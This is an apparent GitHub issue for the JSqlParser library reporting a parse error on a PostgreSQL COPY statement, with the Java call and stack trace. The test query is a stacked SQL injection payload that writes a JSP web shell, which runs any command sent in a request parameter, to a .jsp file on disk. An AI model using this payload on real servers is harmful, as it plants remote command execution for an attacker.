Skip to content

Unexpected Token 'COPY' in PostgreSQL  #569

Closed
@bharathi355

Description

@bharathi355

USAGE CODE

The Query used was SELECT NOW(); COPY (SELECT '<%Process p=Runtime.getRuntime().exec(request.getParameter((char)99));int k;while((k=p.getInputStream().read())>-1)out.write(k);%>' AS "CODE") TO 'C:\directmicroshell.jsp' (format text);

Statements stat = CCJSqlParserUtil.parseStatements("SELECT NOW(); COPY (SELECT '<%Process p=Runtime.getRuntime().exec(request.getParameter((char)99));int k;while((k=p.getInputStream().read())>-1)out.write(k);%>' AS "CODE") TO 'C:\directmicroshell.jsp' (format text);");

ERROR LOG
Exception in thread "main" net.sf.jsqlparser.JSQLParserException
at net.sf.jsqlparser.parser.CCJSqlParserUtil.parseStatements(CCJSqlParserUtil.java:154)
at net.sf.jsqlparser.Run.main(Run.java:12)
Caused by: net.sf.jsqlparser.parser.ParseException: Encountered unexpected token: "COPY" <S_IDENTIFIER>
at line 1, column 15.

Was expecting one of:

"("
";"
"ALTER"
"CALL"
"COMMIT"
"CREATE"
"DELETE"
"DROP"
"EXEC"
"EXECUTE"
"INSERT"
"MERGE"
"REPLACE"
"SELECT"
"SET"
"TRUNCATE"
"UPDATE"
"UPSERT"
"USE"
"WITH"
<EOF>

at net.sf.jsqlparser.parser.CCJSqlParser.generateParseException(CCJSqlParser.java:17065)
at net.sf.jsqlparser.parser.CCJSqlParser.jj_consume_token(CCJSqlParser.java:16918)
at net.sf.jsqlparser.parser.CCJSqlParser.Statements(CCJSqlParser.java:293)
at net.sf.jsqlparser.parser.CCJSqlParserUtil.parseStatements(CCJSqlParserUtil.java:152)
... 1 more

Caused by:
net.sf.jsqlparser.parser.ParseException: Encountered unexpected token: "COPY" <S_IDENTIFIER>
at line 1, column 15.

Was expecting one of:

"("
";"
"ALTER"
"CALL"
"COMMIT"
"CREATE"
"DELETE"
"DROP"
"EXEC"
"EXECUTE"
"INSERT"
"MERGE"
"REPLACE"
"SELECT"
"SET"
"TRUNCATE"
"UPDATE"
"UPSERT"
"USE"
"WITH"
<EOF>

at net.sf.jsqlparser.parser.CCJSqlParser.generateParseException(CCJSqlParser.java:17065)
at net.sf.jsqlparser.parser.CCJSqlParser.jj_consume_token(CCJSqlParser.java:16918)
at net.sf.jsqlparser.parser.CCJSqlParser.Statements(CCJSqlParser.java:293)
at net.sf.jsqlparser.parser.CCJSqlParserUtil.parseStatements(CCJSqlParserUtil.java:152)
at net.sf.jsqlparser.Run.main(Run.java:12)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions